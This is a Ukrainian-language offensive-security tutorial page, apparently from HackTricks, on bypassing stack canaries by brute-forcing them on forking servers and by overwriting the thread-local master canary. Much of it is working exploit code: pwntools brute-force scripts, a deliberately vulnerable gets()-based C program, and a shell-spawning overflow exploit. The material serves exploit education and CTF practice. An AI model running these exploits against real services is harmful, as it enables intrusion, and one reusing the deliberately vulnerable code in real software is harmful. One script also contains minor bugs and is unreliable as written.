219 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# BF Forked & Threaded Stack Canaries
{{#include ../../../../banners/hacktricks-training.md}}
**Якщо ви стикаєтеся з бінарним файлом, захищеним канаркою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.**
![](<../../../../images/image (144).png>)
> [!NOTE]
> Зверніть увагу, що **`checksec`** може не виявити, що бінарний файл захищений канаркою, якщо він був статично скомпільований і не здатний ідентифікувати функцію.\
> Однак ви можете помітити це вручну, якщо виявите, що значення зберігається в стеку на початку виклику функції, і це значення перевіряється перед виходом.
## Brute force Canary
Найкращий спосіб обійти просту канарку - це якщо бінарний файл є програмою **forking child processes кожного разу, коли ви встановлюєте нове з'єднання** з ним (мережевий сервіс), оскільки кожного разу, коли ви підключаєтеся до нього, **використовується одна й та ж канарка**.
Отже, найкращий спосіб обійти канарку - це просто **brute-force її символ за символом**, і ви можете з'ясувати, чи був вгаданий байт канарки правильним, перевіряючи, чи програма зламалася, чи продовжує свій звичайний потік. У цьому прикладі функція **brute-forces 8-байтову канарку (x64)** і розрізняє між правильно вгаданим байтом і поганим байтом, просто **перевіряючи**, чи **відповідь** надіслана сервером (інший спосіб у **іншій ситуації** може бути використанням **try/except**):
### Example 1
Цей приклад реалізовано для 64 біт, але його можна легко реалізувати для 32 біт.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Приклад 2
Це реалізовано для 32 біт, але це можна легко змінити на 64 біти.\
Також зверніть увагу, що для цього прикладу **програма спочатку очікує байт, щоб вказати розмір введення** та корисного навантаження.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Потоки
Потоки одного процесу також **ділять один і той же токен канарки**, тому буде можливим **брутфорсити** канарку, якщо бінарний файл створює новий потік щоразу, коли відбувається атака.
Переповнення буфера в багатопоточній функції, захищеній канаркою, може бути використане для зміни майстер-канарки процесу. В результаті, міра захисту є марною, оскільки перевірка використовується з двома канарками, які є однаковими (хоча й модифікованими).
### Приклад
Наступна програма вразлива до переповнення буфера, але вона скомпільована з канаркою:
```c
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
// gcc thread_canary.c -no-pie -l pthread -o thread_canary
void win() {
execve("/bin/sh", NULL, NULL);
}
void* vuln() {
char data[0x20];
gets(data);
}
int main() {
pthread_t thread;
pthread_create(&thread, NULL, vuln, NULL);
pthread_join(thread, NULL);
return 0;
}
```
Зверніть увагу, що `vuln` викликається всередині потоку. У GDB ми можемо подивитися на `vuln`, зокрема, на момент, коли програма викликає `gets` для читання вхідних даних:
```bash
gef> break gets
Breakpoint 1 at 0x4010a0
gef> run
...
gef> x/10gx $rdi
0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000
0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000
0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800
0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3
0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640
```
Вищезазначене представляє адресу `data`, куди програма запише введення користувача. Стековий канар знаходиться за адресою `0x7ffff7d7ee48` (`0x493fdc653a156800`), а адреса повернення знаходиться за адресою `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
```bash
gef> telescope $rdi 8 -n
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3> -> 0xe8ff31fffffe6fe9 <- retaddr[2]
```
Зверніть увагу, що адреси стеку не належать до фактичного стеку:
```bash
gef> vmmap stack
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2> <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15
```
Стек потоку розміщується над локальним сховищем потоку (TLS), де зберігається майстер-канар.
```bash
gef> tls
$tls = 0x7ffff7d7f640
...
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected]
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
...
```
> [!NOTE]
> Деякі з наведених вище функцій GDB визначені в розширенні під назвою [bata24/gef](https://github.com/bata24/gef), яке має більше функцій, ніж звичайне [hugsy/gef](https://github.com/hugsy/gef).
В результаті, великий переповнення буфера може дозволити змінити як стековий канарей, так і майстер-канарей у TLS. Це зсув:
```bash
gef> p/x 0x7ffff7d7f668 - $rdi
$1 = 0x848
```
Це короткий експлойт для виклику `win`:
```python
from pwn import *
context.binary = 'thread_canary'
payload = b'A' * 0x28 # buffer overflow offset
payload += b'BBBBBBBB' # overwritting stack canary
payload += b'A' * 8 # saved $rbp
payload += p64(context.binary.sym.win) # return address
payload += b'A' * (0x848 - len(payload)) # padding
payload += b'BBBBBBBB' # overwritting master canary
io = context.binary.process()
io.sendline(payload)
io.interactive()
```
## Інші приклади та посилання
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 біти, без PIE, nx, BF canary, записати в пам'ять ROP для виклику `execve` і стрибка туди.
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
- 64 біти, без PIE, nx, модифікувати thread та master canary.